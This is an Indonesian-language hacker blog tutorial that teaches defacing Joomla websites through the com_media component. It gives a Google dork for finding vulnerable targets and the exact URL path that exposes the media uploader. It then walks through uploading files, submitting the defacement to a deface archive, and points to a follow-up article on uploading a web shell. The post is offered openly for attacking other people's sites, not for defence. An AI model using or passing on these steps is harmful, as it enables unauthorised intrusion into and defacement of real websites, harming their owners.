Tuesday, 29 December 2015

Tutorial Deface Joomla menggunakan com_media




Hallo fans, Nuenomaru disini .-.
Kali ini Nue akan share Tutorial Exploit CMS Joomla , menggunakan com_media .
Teknik Exploit Joomla yang memiliki Vulnerabilitas pada Component Media di CMS Joomla.
etthoo,, ini exploit gak begitu baru loh .. *exploit lama wkwk
hahaha iseng2 aja share kali aja masih crotz *yang dah expert minggir dlu beb ;*



Langsung aja intip tutorialnya gans ;*
Dork : inurl:com_media site:com

Exploit: /index.php?option=com_media&view=images&tmpl=component&fieldid=&e_name=jform_articletext&asset=com_content&author=&folder=



Pertama sobat cari dah targetnya dulu di google dengan memanfaatkan dork diatas, dan kalo bisa dork tersebut dikembangkan lagi yah, biar bisa nemu target yang fresh and Verawan. 

Lalu pilih web target anda.
Nah, sekarang kita  tambahin aja exploitnya, jadinya begini:

target.co.li/index.php?option=com_media&view=images&tmpl=component&fieldid=&e_name=jform_articletext&asset=com_content&author=&folder=


maka akan terlihat seperti gambar berikut:




Selanjutnya sobat tinggal upload file yang sobat inginkan di bagian uploader..


Note: file yang bisa diupload berextensi .txt .jpg .gif .png. Untuk html dan php tidak bisa. 


Lalu Klik tombol yang berfungsi utk Upload file deh




Nah, untuk melihat hasil file yang sudah kita upload di sini: target.co.li/images/file
cth: http://target.co.li/images/nuenomaru.txt


Done


lihat hasil file yang sudah saya upload tadi, tinggal Submit aja di deface archiver

Ouh iya utk Cara Upload Shell nya silahkan Baca artikel Kami yang iniii yoo: Tutorial Upload Shell di eXploit com_media dengan Cara Bypass ekstensi Shell

Semoga bermanfaat

Mudah kan ? Stay Cool and Keep ./Crotz [Image: bacol.gif]
bila ada kesalahan mohon di maafkan dan dibenarkan di kolom komentar kak
bila ada kritik, dan pertanyaan langsung aja kak ke wall fanspage kami: TKJ CYBER ART
Happy Joomla Hacked~




terimakasih  

./Nuenomaru













Visit and follow :


FP         : TKJ Cyber Art
G+         TKJ Cyber Art
youtube : TKJ Cyber Art
BBM      : C0018D1A2


EmoticonEmoticon